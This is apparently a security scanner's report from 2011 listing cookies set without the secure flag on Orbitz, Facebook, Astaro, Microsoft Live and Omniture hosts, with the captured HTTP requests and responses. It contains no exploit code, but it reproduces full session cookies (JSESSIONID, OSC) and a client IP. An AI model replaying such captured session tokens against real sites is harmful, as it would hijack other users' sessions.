The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and does not have the secure flag set:
eZSESSIDde=osr305vfiegtr4m0rumdbdt3r7; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /beacon/(beid HTTP/1.1 Host: www.astaro.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:30:08 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: eZSESSIDde=osr305vfiegtr4m0rumdbdt3r7; path=/ Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Tue, 01 Feb 2011 14:30:08 GMT X-Powered-By: eZ Publish Served-by: www.astaro.de Content-language: de-DE Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de-DE" lang="de-DE"> <head>
The following cookie was issued by the application and does not have the secure flag set:
eZSESSIDen=bsb7dte2ge5s4c59fbs7127q65; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /beacon/(beid HTTP/1.1 Host: www.astaro.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:30:13 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: eZSESSIDen=bsb7dte2ge5s4c59fbs7127q65; path=/ Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Tue, 01 Feb 2011 14:30:13 GMT X-Powered-By: eZ Publish Served-by: www.astaro.net Content-language: en-US Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US"> <head> <meta ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /account/login?destinationUrl= HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=026995801E92D176318AD90FEB65F6DB; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:30:31 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:16:23 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 17662
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /account/registration HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=A7D6B6C6B73BC640D7493A94555D7334; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:30:35 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:16:28 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 23404
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /trips/writeReview?hotelId=24684 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=B15415278A3C667686225B11283FD050; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:30:39 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:16:31 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 10776
The following cookie was issued by the application and does not have the secure flag set:
v1stsp=E67B5206FBADB2C7; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.atomz.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /static/scode/H.15.1/snpall/s_code.js HTTP/1.1 Host: content.atomz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 19:18:49 GMT Server: Atomz/1.0 Set-Cookie: v1stsp=E67B5206FBADB2C7; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.atomz.com Cache-Control: max-age=315360000 Expires: Sat, 30 Jan 2021 19:18:49 GMT Last-Modified: Sun, 07 Sep 2008 17:06:26 GMT ETag: "610a04-47de-48c40a12" Accept-Ranges: bytes Content-Length: 18398 Content-Type: application/x-javascript Via: 1.1 content.atomz.com:84 X-Cache: MISS from content.atomz.com Connection: close
/* SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com */ /************************ ADDITIONAL FEATURES ************************ P ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: login.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=deleted; datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=deleted; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; wd=deleted; __utmc=deleted; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmb=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ajax/intl/language_dialog.php HTTP/1.1 Host: login.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=deleted; datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=deleted; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; wd=deleted; __utmc=deleted; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmb=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /help/ HTTP/1.1 Host: login.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=deleted; datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=deleted; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; wd=deleted; __utmc=deleted; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmb=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /r.php HTTP/1.1 Host: login.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=deleted; datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=deleted; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; wd=deleted; __utmc=deleted; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmb=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /login.srf?wa=wsignin1.0&rpsnv=11&ct=1296573765&rver=5.5.4177.0&wp=MBI&wreply=http:%2F%2Fwww.msn.com%2F&lc=1033&id=1184 HTTP/1.1 Host: login.live.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps HTTP/1.1 Host: maps-api-ssl.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the secure flag set:
s_vi_x60bafx7Bzx7Djmnaajx7Dx7C=[CS]v4|0-0|4D49AEAF[CE]; Expires=Mon, 1 Feb 2016 19:21:19 GMT; Domain=.2o7.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturebanners/1/H.9--NS/0 HTTP/1.1 Host: omniturebanners.112.2o7.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:19 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_x60bafx7Bzx7Djmnaajx7Dx7C=[CS]v4|0-0|4D49AEAF[CE]; Expires=Mon, 1 Feb 2016 19:21:19 GMT; Domain=.2o7.net; Path=/ Location: https://omniturebanners.112.2o7.net/b/ss/omniturebanners/1/H.9--NS/0?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:19 GMT Last-Modified: Thu, 03 Feb 2011 19:21:19 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www20 Content-Length: 0 Content-Type: text/plain Connection: close
The following cookie was issued by the application and does not have the secure flag set:
v1stsp=C92D8F8B772AFF13; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.omniture.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 19:00:29 GMT Server: Atomz/1.0 Set-Cookie: v1stsp=C92D8F8B772AFF13; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.omniture.com Content-Type: text/html Via: 1.1 sitesearch.omniture.com:86 X-Cache: MISS from sitesearch.omniture.com Keep-Alive: timeout=1, max=100 Connection: Keep-Alive Content-Length: 10248
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright (c) 2011 Adobe Systems Incorporated. All rights ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /2008/fbml HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /login.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Secure/SignIn?z=2eb0&r=3 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=D3DD8128C5377A40141A9858208488B0; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:13:30 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure Content-Length: 17640
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Secure/ViewSecureCalendar?z=2ec6&r=p HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=95571C5B16DE6EDEF581BE2B2323412E; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Content-Length: 936 Date: Wed, 02 Feb 2011 16:15:35 GMT Set-Cookie: NSC_xxx.pscjua.dpn.443_gxe=ffffffff09e3087545525d5f4f58455e445a4a42378b;path=/;secure
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
